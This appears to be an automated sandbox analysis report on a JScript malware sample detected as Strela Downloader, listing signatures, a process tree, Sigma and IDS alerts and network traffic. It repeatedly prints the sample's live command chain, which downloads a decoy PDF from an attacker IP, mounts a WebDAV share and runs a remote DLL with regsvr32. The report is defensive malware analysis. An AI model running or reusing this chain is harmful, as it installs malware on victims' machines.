Edit tour

Windows Analysis Report
77502473271720630.js

Overview

General Information

Sample name:	77502473271720630.js
Analysis ID:	1587833
MD5:	d8ae7270e4634afcbe9d6625c84715a1
SHA1:	5d671adec446b57d9a24a43affa719f6617b46c5
SHA256:	0cc573742e12e6aa17d76da9da907a6152e0d40cdbd1f624f62693c1f30f1d3e
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Desusertion Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 1384 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\77502473271720630.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 5832 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43241885228013.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1184 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4212 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 6060 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 2508 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 740 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1592,i,1824818808005025574,11050105164769887958,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 1616 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 3280 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 2656 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 1384	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43241885228013.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5832, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4212, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43241885228013.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5832, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4212, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\77502473271720630.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\77502473271720630.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\77502473271720630.js", ProcessId: 1384, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Desusertion Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DesusertionIp: 193.143.1.205, DesusertionIsIpv6: false, DesusertionPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 3280, Protocol: tcp, SourceIp: 192.168.2.9, SourceIsIpv6: false, SourcePort: 49708

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43241885228013.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43241885228013.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\77502473271720630.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1384, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43241885228013.dll, ProcessId: 5832, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43241885228013.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43241885228013.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\77502473271720630.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1384, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43241885228013.dll, ProcessId: 5832, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43241885228013.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43241885228013.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\77502473271720630.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1384, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43241885228013.dll, ProcessId: 5832, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43241885228013.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43241885228013.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\77502473271720630.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1384, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43241885228013.dll, ProcessId: 5832, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43241885228013.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43241885228013.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\77502473271720630.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1384, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43241885228013.dll, ProcessId: 5832, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\77502473271720630.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\77502473271720630.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\77502473271720630.js", ProcessId: 1384, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43241885228013.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5832, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4212, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1616, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 3280, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 2656, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1616, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 3280, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43241885228013.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43241885228013.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\77502473271720630.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1384, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43241885228013.dll, ProcessId: 5832, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T18:23:30.821779+0100	1810005	1	Potentially Bad Traffic	192.168.2.9	49708	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T18:23:28.355930+0100	1810000	2	Potentially Bad Traffic	192.168.2.9	49707	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 77502473271720630.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 77502473271720630.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.9:49708 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:23:28 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49708

Source: global traffic

TCP traffic: 192.168.2.9:49708 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.9:50606 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.9:49707 -> 193.143.1.205:80

Source: global traffic

